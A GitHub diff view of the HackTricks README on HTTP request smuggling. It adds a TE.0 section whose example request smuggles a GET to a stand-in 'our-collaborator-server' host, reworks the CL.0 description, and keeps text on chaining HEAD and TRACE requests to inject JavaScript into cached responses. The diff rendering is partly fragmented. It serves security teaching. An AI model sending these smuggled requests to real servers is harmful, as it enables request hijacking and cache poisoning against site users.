You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: pentesting-web/http-request-smuggling/README.md
+37-8Lines changed: 37 additions & 8 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,8 +1,8 @@
1
1
# HTTP Request Smuggling / HTTP Desync Attack
2
2
3
3
{% hint style="success" %}
4
-
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
5
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
4
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
5
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
6
6
7
7
<details>
8
8
@@ -60,6 +60,10 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
65
+
{% endhint %}
66
+
63
67
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
64
68
65
69
***Front-End (CL):** Processes the request based on the `Content-Length` header.
@@ -137,7 +141,7 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
137
141
: chunked
138
142
```
139
143
140
-
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End):**
144
+
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
141
145
142
146
* Both servers process the request based solely on the `Content-Length` header.
143
147
* This scenario typically does not lead to smuggling, as there's alignment in how both servers interpret the request length.
@@ -152,9 +156,9 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
152
156
Normal Request
153
157
```
154
158
155
-
#### **CL != 0 Scenario:**
159
+
#### **CL.0 Scenario**
156
160
157
-
* Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content.
161
+
* Refers to scenarios where the `Content-Length` header is present and has a value other than zero, indicating that the request body has content. The back-end ignores the `Content-Length` header (which is treated as 0), but the front-end parses it.
158
162
* It's crucial in understanding and crafting smuggling attacks, as it influences how servers determine the end of a request.
159
163
* **Example:**
160
164
@@ -167,6 +171,30 @@ HTTP request smuggling attacks are crafted by sending ambiguous requests that ex
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
187
+
Transfer-Encoding: chunked
188
+
Connection: keep-alive
189
+
190
+
50
191
+
GET <http://our-collaborator-server/> HTTP/1.1
192
+
x: X
193
+
0
194
+
EMPTY_LINE_HERE
195
+
EMPTY_LINE_HERE
196
+
```
197
+
170
198
#### Breaking the web server
171
199
172
200
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
553
-
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
581
+
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
554
582
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
555
583
556
584
### Abusing TRACE via HTTP Response Splitting <ahref="#exploiting-web-cache-poisoning-via-http-request-smuggling"id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
741
-
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
769
+
Learn & practice AWS Hacking:<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="../../.gitbook/assets/arte.png"alt=""data-size="line">\
770
+
Learn & practice GCP Hacking: <imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="../../.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
0 commit comments